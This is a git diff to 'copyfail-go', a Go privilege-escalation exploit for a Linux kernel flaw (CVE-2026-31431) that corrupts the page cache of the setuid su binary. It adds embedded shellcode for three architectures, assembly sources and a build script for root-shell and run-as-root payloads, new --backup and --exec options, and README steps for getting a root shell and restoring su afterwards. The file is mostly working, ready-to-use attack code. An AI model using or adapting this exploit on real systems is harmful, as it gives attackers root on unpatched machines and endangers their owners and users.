diff --git a/.gitignore b/.gitignore index f3d638d..a98e9d3 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,3 @@ copyfail -.ansible \ No newline at end of file +.ansible +dist \ No newline at end of file diff --git a/.goreleaser.yaml b/.goreleaser.yaml index 8ea776c..bce1359 100644 --- a/.goreleaser.yaml +++ b/.goreleaser.yaml @@ -4,7 +4,6 @@ before: hooks: - go mod tidy - builds: - env: - CGO_ENABLED=0 @@ -12,7 +11,7 @@ builds: - linux archives: - - format: tar.gz + - formats: binary # this name template makes the OS and Arch compatible with the results of `uname`. name_template: >- {{ .ProjectName }}_ diff --git a/README.md b/README.md index 15f7af4..76fcd75 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,55 @@ # CopyFail Go -> Most Linux LPEs need a race window or a kernel-specific offset.Copy Fail is a straight-line logic flaw — it needs neither.The same ~~732-byte Python script~~ static Go binary roots every Linux distribution shipped since 2017. +> Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither. The same ~~732-byte Python script~~ static Go binary roots every Linux distribution shipped since 2017. A Go implementation of CVE-2026-31431. In case you need a static binary and no Python dependency. -See [copy.fail](https://copy.fail) for more info. \ No newline at end of file +See [copy.fail](https://copy.fail) for more info. + +## Interactive shell + +```shell +# Get the binary to your Linux host with code execution (exercise for the reader) +user@host$ chmod +x copyfail-go +user@host$ ./copyfail-go --backup /tmp/su +root@host# cat /tmp/su > /usr/bin/su # Restore the original su binary +root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su +root@host# rm /tmp/su +root@host# # Do things as root =) +``` + +## Run binary as root + +Useful to elevate a program to root + +```shell +# Get the binary to your Linux host with code execution (exercise for the reader) +user@host$ chmod +x copyfail-go +user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary +user@host$ # Use whatever you ran to restore su from /tmp/su +``` + +## Affected kernels (from [copy-fail-c](https://github.com/tgies/copy-fail-c/tree/main#affected-kernels)) + +``` +floor: torvalds/linux 72548b093ee3 August 2017, v4.14 + (AF_ALG iov_iter rework that + introduced the file-page write + primitive via splice into the AEAD + scatterlist) + +ceiling: torvalds/linux a664bf3d603d April 2026, mainline + (reverts the 2017 algif_aead + in-place optimization; separates + source and destination scatterlists + so page-cache pages can no longer + be a writable crypto destination) +``` + +In between: every major distro kernel that didn't backport the fix. +Ubuntu, RHEL, SUSE, Amazon Linux, and Debian were all confirmed vulnerable +in their stock cloud-image kernels at disclosure time. Distro-level +backports started rolling out around 2026-04-29 alongside the public +disclosure. To verify whether a target kernel is in-window, check whether +`a664bf3d603d` (or its distro-specific backport) is present in the kernel's +git log or the distro's changelog. diff --git a/main.go b/main.go index 3560e3a..3568ef7 100644 --- a/main.go +++ b/main.go @@ -7,6 +7,7 @@ import ( "bytes" "compress/zlib" "encoding/hex" + "flag" "fmt" "io" "log" @@ -14,6 +15,7 @@ import ( "os/exec" "runtime" "strings" + "time" "unsafe" "golang.org/x/sys/unix" @@ -29,6 +31,20 @@ const ( ALG_SET_AEAD_AUTHSIZE = 5 ) +// See payloads/exec-bin-sh-* for the shellcode +var payloadsZlibHex = map[string]string{ + "amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3", + "386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858", + "arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578", +} + +// See payloads/exec-argv1-* for the shellcode +var execArgv1ZlibHex = map[string]string{ + "amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf", + "386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180", + "arm64": "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509", +} + // packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload func packCmsg(level, typ int, data []byte) []byte { cmsgSpace := unix.CmsgSpace(len(data)) @@ -136,49 +152,6 @@ func decompressPayload(zlibBytes []byte) []byte { return payload } -func printHelp() { - prog := os.Args[0] - fmt.Fprintf(os.Stderr, "Usage: %s [-h|--help]\n\n", prog) - fmt.Fprintf(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).\n") - fmt.Fprintf(os.Stderr, "Overwrites the page cache of su and runs su.\n") - fmt.Fprintf(os.Stderr, "See https://copy.fail for for information.\n") -} - -// Minimal static ELF that calls setuid(0); execve("/bin/sh", NULL, NULL); exit(0). -// One per supported architecture, zlib-compressed for compactness. -// -// x86_64 ELF (160 bytes) - shellcode at file offset 0x78: -// 31 c0 xor eax, eax -// 31 ff xor edi, edi -// b0 69 mov al, 0x69 ; SYS_setuid -// 0f 05 syscall -// 48 8d 3d 0f.. lea rdi, [rip+0xf] ; "/bin/sh" -// 31 f6 xor esi, esi -// 6a 3b 58 push 0x3b; pop rax ; SYS_execve -// 99 cdq ; rdx = 0 -// 0f 05 syscall -// 31 ff xor edi, edi -// 6a 3c 58 push 0x3c; pop rax ; SYS_exit -// 0f 05 syscall -// -// aarch64 ELF (172 bytes) - shellcode at file offset 0x78: -// d2800000 mov x0, #0 -// d2801248 mov x8, #146 ; SYS_setuid -// d4000001 svc #0 -// 10000100 adr x0, sh -// d2800001 mov x1, #0 -// d2800002 mov x2, #0 -// d2801ba8 mov x8, #221 ; SYS_execve -// d4000001 svc #0 -// d2800000 mov x0, #0 -// d2800ba8 mov x8, #93 ; SYS_exit -// d4000001 svc #0 -// "/bin/sh\0" -var payloadsZlibHex = map[string]string{ - "amd64": "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3", - "arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578", -} - // resolveSu returns the path to the su binary. It prefers /usr/bin/su when // present; otherwise it walks PATH (via exec.LookPath, equivalent to which(1)). func resolveSu() (string, error) { @@ -193,22 +166,83 @@ func resolveSu() (string, error) { return p, nil } -func main() { - for _, arg := range os.Args[1:] { - switch arg { - case "-h", "--help", "-help": - printHelp() - os.Exit(0) - } +// backupSuBinary copies src to dst before page-cache corruption. Preserves +// permission bits including setuid/setgid/sticky and access/modification times. +func backupSuBinary(src, dst string) error { + var meta unix.Stat_t + if err := unix.Stat(src, &meta); err != nil { + return fmt.Errorf("stat %s: %w", src, err) + } + // Cast these to int64 so we can compile for 32 bit architectures + atime := time.Unix(int64(meta.Atim.Sec), int64(meta.Atim.Nsec)) + mtime := time.Unix(int64(meta.Mtim.Sec), int64(meta.Mtim.Nsec)) + + in, err := os.Open(src) + if err != nil { + return fmt.Errorf("open %s: %w", src, err) + } + defer in.Close() + + fi, err := in.Stat() + if err != nil { + return fmt.Errorf("fstat %s: %w", src, err) } - // Pick payload for the running architecture. The amd64 ELF is the - // original from https://github.com/theori-io/copy-fail-CVE-2026-31431; - // the arm64 ELF is an equivalent reconstructed from scratch (see the - // payloadsZlibHex doc comment for shellcode disassembly). - payloadHex, ok := payloadsZlibHex[runtime.GOARCH] - if !ok { - log.Fatalf("Unsupported architecture: %s (need amd64 or arm64)", runtime.GOARCH) + const modeMask = os.ModePerm | os.ModeSetuid | os.ModeSetgid | os.ModeSticky + out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) + if err != nil { + return fmt.Errorf("create %s: %w", dst, err) + } + defer out.Close() + + if _, err := io.Copy(out, in); err != nil { + return fmt.Errorf("copy to %s: %w", dst, err) + } + if err := out.Sync(); err != nil { + return fmt.Errorf("sync %s: %w", dst, err) + } + if err := os.Chmod(dst, fi.Mode()&modeMask); err != nil { + return fmt.Errorf("chmod %s: %w", dst, err) + } + if err := os.Chtimes(dst, atime, mtime); err != nil { + return fmt.Errorf("chtimes %s: %w", dst, err) + } + return nil +} + +func main() { + var suArgv1 string + var useExecArgv1 bool + var backupPath string + flag.StringVar(&backupPath, "backup", "", "path to copy the su binary to before overwriting") + flag.Func("exec", "command to run as root; full path required", func(s string) error { + useExecArgv1 = true + suArgv1 = s + return nil + }) + flag.Usage = func() { + fmt.Fprintf(os.Stderr, "Usage of %s:\n", os.Args[0]) + flag.PrintDefaults() + fmt.Fprintln(os.Stderr) + fmt.Fprintln(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).") + fmt.Fprintln(os.Stderr, "Overwrites the page cache of su and runs su.") + fmt.Fprintln(os.Stderr, "See https://copy.fail for for information.") + } + flag.Parse() + + var payloadHex string + var ok bool + if useExecArgv1 { + payloadHex, ok = execArgv1ZlibHex[runtime.GOARCH] + if !ok { + log.Fatalf("Unsupported architecture for -exec: %s", runtime.GOARCH) + } + } else { + // Pick payload for the running architecture + payloadHex, ok = payloadsZlibHex[runtime.GOARCH] + if !ok { + log.Fatalf("Unsupported architecture: %s (need amd64 or arm64)", runtime.GOARCH) + } } payloadZlib, err := hex.DecodeString(payloadHex) if err != nil { @@ -221,6 +255,13 @@ func main() { log.Fatalf("%v", err) } + if backupPath != "" { + if err := backupSuBinary(suPath, backupPath); err != nil { + log.Fatalf("Backup failed: %v", err) + } + log.Printf("Backed up %s to %s", suPath, backupPath) + } + // Open target file in read-only mode f, err := os.Open(suPath) if err != nil { @@ -251,7 +292,11 @@ func main() { // Execute the now-overwritten binary to trigger privilege escalation log.Println("Executing payload") var cmd *exec.Cmd - cmd = exec.Command("su") + if useExecArgv1 { + cmd = exec.Command("su", suArgv1) + } else { + cmd = exec.Command("su") + } cmd.Stdin = os.Stdin cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr diff --git a/payloads/README.md b/payloads/README.md new file mode 100644 index 0000000..e283c51 --- /dev/null +++ b/payloads/README.md @@ -0,0 +1,19 @@ +These are the assembly and binary payloads embedded in copyfail-go + +## Scripted + +Just run `build-n-print.sh` + +## Manual + +To build the asm run + +```shell +nasm -f bin {{ payload }}.asm -o {{ payload }} +``` + +To format the binary into the hex for copyfail-go, run + +```shell +cat {{ payload }} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())' +``` \ No newline at end of file diff --git a/payloads/build-n-print.sh b/payloads/build-n-print.sh new file mode 100644 index 0000000..3027dc8 --- /dev/null +++ b/payloads/build-n-print.sh @@ -0,0 +1,37 @@ +#!/bin/bash + +# Check for nasm +if ! command -v nasm &> /dev/null; then + echo "[!] nasm could not be found. Please install it." + exit 1 +fi + +# Check for python3 +if ! command -v python3 &> /dev/null; then + echo "[!] python3 could not be found. Please install it." + exit 1 +fi + +for payload in *.asm; do + echo "[+] Building $payload" + nasm -f bin $payload -o ${payload%.asm} + echo "[+] Printing $payload as hex" + cat ${payload%.asm} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())' +done + +# Check for aarch64-linux-gnu-as +if ! command -v aarch64-linux-gnu-as &> /dev/null; then + echo "[!] aarch64-linux-gnu-as could not be found. Please install binutils-aarch64-linux-gnu" + exit 1 +fi + +for payload in *.S; do + # Assemble the source into an object file + echo "[+] Building $payload" + aarch64-linux-gnu-as $payload -o ${payload%.S}.o + # Extract ONLY the raw bytes into a flat binary file + echo "[+] Extracting $payload as binary" + aarch64-linux-gnu-objcopy -O binary ${payload%.S}.o ${payload%.S} + echo "[+] Printing $payload as hex" + cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())' +done \ No newline at end of file diff --git a/payloads/exec-argv1-aarch64.S b/payloads/exec-argv1-aarch64.S new file mode 100644 index 0000000..c77fe86 --- /dev/null +++ b/payloads/exec-argv1-aarch64.S @@ -0,0 +1,53 @@ +.section .text +.globl _start + +// --- 64-bit ELF Header --- +ehdr: + .byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF" + .byte 2, 1, 1, 0 // 64-bit, little-endian, version 1 + .byte 0, 0, 0, 0, 0, 0, 0, 0 + .short 2 // e_type: Executable + .short 183 // e_machine: AArch64 (0xB7) + .int 1 // e_version + .quad 0x400078 // e_entry (0x400000 + 0x78) + .quad 0x40 // e_phoff (Program Header offset) + .quad 0 // e_shoff + .int 0 // e_flags + .short 64 // e_ehsize + .short 56 // e_phentsize + .short 1 // e_phnum + .short 0 // e_shentsize + .short 0 // e_shnum + .short 0 // e_shstrndx + +// --- Program Header (PT_LOAD) --- +phdr: + .int 1 // p_type: PT_LOAD + .int 5 // p_flags: PF_R | PF_X + .quad 0 // p_offset + .quad 0x400000 // p_vaddr + .quad 0x400000 // p_paddr + .quad file_end - ehdr // p_filesz + .quad file_end - ehdr // p_memsz + .quad 0x10000 // p_align + +// --- Payload --- +_start: + // setuid(0) + mov x0, #0 + mov x8, #146 // SYS_setuid + svc #0 + + // execve(argv[1], NULL, NULL) + ldr x0, [sp, #16] // x0 = argv[1] + mov x1, #0 // x1 = NULL + mov x2, #0 // x2 = NULL + mov x8, #221 // SYS_execve + svc #0 + + // exit(0) + mov x0, #0 + mov x8, #93 // SYS_exit + svc #0 + +file_end: \ No newline at end of file diff --git a/payloads/exec-argv1-amd64.asm b/payloads/exec-argv1-amd64.asm new file mode 100644 index 0000000..234b47b --- /dev/null +++ b/payloads/exec-argv1-amd64.asm @@ -0,0 +1,54 @@ +BITS 64 +org 0x400000 + +; --- 64-bit ELF Header --- +ehdr: + db 0x7F, "ELF", 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0 + dw 2 ; e_type: Executable + dw 0x3e ; e_machine: x86-64 + dd 1 ; e_version + dq _start ; e_entry + dq phdr - ehdr ; e_phoff (offset to program header) + dq 0 ; e_shoff + dd 0 ; e_flags + dw 64 ; e_ehsize (ELF header size) + dw 56 ; e_phentsize (Program header size) + dw 1 ; e_phnum (Number of program headers) + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +; --- Program Header (PT_LOAD) --- +phdr: + dd 1 ; p_type: PT_LOAD + dd 5 ; p_flags: PF_R | PF_X (Read + Execute) + dq 0 ; p_offset + dq 0x400000 ; p_vaddr + dq 0x400000 ; p_paddr + dq file_end - ehdr ; p_filesz + dq file_end - ehdr ; p_memsz + dq 0x1000 ; p_align + +; --- Payload --- +_start: + ; setuid(0) + xor eax, eax + xor edi, edi + mov al, 0x69 + syscall + + ; execve(argv[1], NULL, NULL) + mov rdi,[rsp+0x10] + xor esi, esi + push 0x3b + pop rax + cdq + syscall + + ; exit(0) + xor edi, edi + push 0x3c + pop rax + syscall + +file_end: \ No newline at end of file diff --git a/payloads/exec-argv1-i386.asm b/payloads/exec-argv1-i386.asm new file mode 100644 index 0000000..74769d0 --- /dev/null +++ b/payloads/exec-argv1-i386.asm @@ -0,0 +1,59 @@ +BITS 32 +org 0x08048000 + +; --- 32-bit ELF Header --- +ehdr: + db 0x7F, "ELF" ; e_ident + db 1 ; EI_CLASS (1 = 32-bit) + db 1 ; EI_DATA (1 = little endian) + db 1 ; EI_VERSION + db 0 ; EI_OSABI + db 0, 0, 0, 0, 0, 0, 0, 0 + dw 2 ; e_type: Executable + dw 3 ; e_machine: EM_386 (x86) + dd 1 ; e_version + dd _start ; e_entry + dd phdr - ehdr ; e_phoff (offset to program header) + dd 0 ; e_shoff + dd 0 ; e_flags + dw 52 ; e_ehsize (32-bit ELF header size) + dw 32 ; e_phentsize (32-bit Program header size) + dw 1 ; e_phnum (Number of program headers) + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +; --- Program Header (PT_LOAD) --- +phdr: + dd 1 ; p_type: PT_LOAD + dd 0 ; p_offset + dd 0x08048000 ; p_vaddr + dd 0x08048000 ; p_paddr + dd file_end - ehdr ; p_filesz + dd file_end - ehdr ; p_memsz + dd 5 ; p_flags: PF_R | PF_X (Read + Execute) + dd 0x1000 ; p_align + +; --- Payload --- +_start: + ; setuid32(0) + xor eax, eax + xor ebx, ebx ; ebx = 0 (UID) + mov al, 213 ; sys_setuid32 (213) + int 0x80 + + ; execve(argv[1], NULL, NULL) + mov ebx, [esp+8] ; ebx = argv[1] (pointers are 4 bytes, so[esp+8]) + xor ecx, ecx ; ecx = NULL + push 11 ; sys_execve (11) + pop eax + cdq ; edx = 0 (sign-extends eax into edx) + int 0x80 + + ; exit(0) + xor ebx, ebx ; Exit code 0 + push 1 ; sys_exit (1) + pop eax + int 0x80 + +file_end: \ No newline at end of file diff --git a/payloads/exec-bin-sh-aarch64.S b/payloads/exec-bin-sh-aarch64.S new file mode 100644 index 0000000..f47b9e6 --- /dev/null +++ b/payloads/exec-bin-sh-aarch64.S @@ -0,0 +1,54 @@ +.section .text +.globl _start + +// --- 64-bit ELF Header (64 bytes) --- +ehdr: + .byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF" + .byte 2, 1, 1, 0 // 64-bit, little-endian, version 1 + .byte 0, 0, 0, 0, 0, 0, 0, 0 + .short 2 // e_type: Executable + .short 183 // e_machine: AArch64 (0xB7) + .int 1 // e_version + .quad 0x400078 // e_entry (0x400000 + 0x78) + .quad 0x40 // e_phoff (Program Header offset) + .quad 0 // e_shoff + .int 0 // e_flags + .short 64 // e_ehsize + .short 56 // e_phentsize + .short 1 // e_phnum + .short 0 // e_shentsize + .short 0 // e_shnum + .short 0 // e_shstrndx + +// --- Program Header (PT_LOAD, 56 bytes) --- +phdr: + .int 1 // p_type: PT_LOAD + .int 5 // p_flags: PF_R | PF_X + .quad 0 // p_offset + .quad 0x400000 // p_vaddr + .quad 0x400000 // p_paddr + .quad file_end - ehdr // p_filesz + .quad file_end - ehdr // p_memsz + .quad 0x10000 // p_align + +// --- Payload (52 bytes) --- +_start: + mov x0, #0 + mov x8, #146 // SYS_setuid + svc #0 + + adr x0, sh // PC-relative load of the "sh" label + + mov x1, #0 + mov x2, #0 + mov x8, #221 // SYS_execve + svc #0 + + mov x0, #0 + mov x8, #93 // SYS_exit + svc #0 + +sh: + .asciz "/bin/sh" // 8 bytes (includes null terminator) + +file_end: \ No newline at end of file diff --git a/payloads/exec-bin-sh-amd64.asm b/payloads/exec-bin-sh-amd64.asm new file mode 100644 index 0000000..b49adcc --- /dev/null +++ b/payloads/exec-bin-sh-amd64.asm @@ -0,0 +1,56 @@ +BITS 64 +org 0x400000 + +; --- 64-bit ELF Header --- +ehdr: + db 0x7F, "ELF", 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0 + dw 2 ; e_type: Executable + dw 0x3e ; e_machine: x86-64 + dd 1 ; e_version + dq _start ; e_entry + dq phdr - ehdr ; e_phoff (offset to program header) + dq 0 ; e_shoff + dd 0 ; e_flags + dw 64 ; e_ehsize (ELF header size) + dw 56 ; e_phentsize (Program header size) + dw 1 ; e_phnum (Number of program headers) + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +; --- Program Header (PT_LOAD) --- +phdr: + dd 1 ; p_type: PT_LOAD + dd 5 ; p_flags: PF_R | PF_X (Read + Execute) + dq 0 ; p_offset + dq 0x400000 ; p_vaddr + dq 0x400000 ; p_paddr + dq file_end - ehdr ; p_filesz + dq file_end - ehdr ; p_memsz + dq 0x1000 ; p_align + +; --- Payload --- +_start: + ; setuid(0) + xor eax, eax + xor edi, edi + mov al, 0x69 + syscall + + ; execve("/bin/sh", NULL, NULL) + lea rdi, [rel sh] ; 48 8d 3d 0f 00 00 00 rdi -> "/bin/sh" + xor esi, esi ; 31 f6 rsi = 0 (argv = NULL) + push 0x3b ; 6a 3b push SYS_execve + pop rax ; 58 rax = 59 + cdq ; 99 rdx = 0 (envp = NULL) + syscall ; 0f 05 execve("/bin/sh", 0, 0) + + ; exit(0) + xor edi, edi + push 0x3c + pop rax + syscall + +sh: db "/bin/sh", 0 + +file_end: \ No newline at end of file diff --git a/payloads/exec-bin-sh-i386.asm b/payloads/exec-bin-sh-i386.asm new file mode 100644 index 0000000..75da36f --- /dev/null +++ b/payloads/exec-bin-sh-i386.asm @@ -0,0 +1,64 @@ +BITS 32 +org 0x08048000 + +; --- 32-bit ELF Header --- +ehdr: + db 0x7F, "ELF" ; e_ident + db 1 ; EI_CLASS (1 = 32-bit) + db 1 ; EI_DATA (1 = little endian) + db 1 ; EI_VERSION + db 0 ; EI_OSABI + db 0, 0, 0, 0, 0, 0, 0, 0 + dw 2 ; e_type: Executable + dw 3 ; e_machine: EM_386 (x86) + dd 1 ; e_version + dd _start ; e_entry + dd phdr - ehdr ; e_phoff (offset to program header) + dd 0 ; e_shoff + dd 0 ; e_flags + dw 52 ; e_ehsize (32-bit ELF header size) + dw 32 ; e_phentsize (32-bit Program header size) + dw 1 ; e_phnum (Number of program headers) + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + +; --- Program Header (PT_LOAD) --- +phdr: + dd 1 ; p_type: PT_LOAD + dd 0 ; p_offset + dd 0x08048000 ; p_vaddr + dd 0x08048000 ; p_paddr + dd file_end - ehdr ; p_filesz + dd file_end - ehdr ; p_memsz + dd 5 ; p_flags: PF_R | PF_X (Read + Execute) + dd 0x1000 ; p_align + +; --- Payload --- +_start: + ; setuid32(0) + xor eax, eax + xor ebx, ebx ; ebx = 0 (UID) + mov al, 213 ; sys_setuid32 (213) + int 0x80 + + ; execve("/bin/sh", ["/bin/sh", NULL], NULL) + xor eax, eax ; 31 c0 eax = 0 + push eax ; 50 NULL terminator for argv + push 0x68732f2f ; 68 2f 2f 73 68 "//sh" + push 0x6e69622f ; 68 2f 62 69 6e "/bin" + mov ebx, esp ; 89 e3 ebx -> "/bin//sh" + push eax ; 50 envp = NULL + push ebx ; 53 argv[0] = "/bin//sh" + mov ecx, esp ; 89 e1 ecx -> argv + mov edx, eax ; 89 c2 edx = 0 (envp) + mov al, 0xb ; b0 0b eax = 11 (SYS_execve) + int 0x80 ; cd 80 syscall + + ; exit(0) + xor ebx, ebx ; Exit code 0 + push 1 ; sys_exit (1) + pop eax + int 0x80 + +file_end: \ No newline at end of file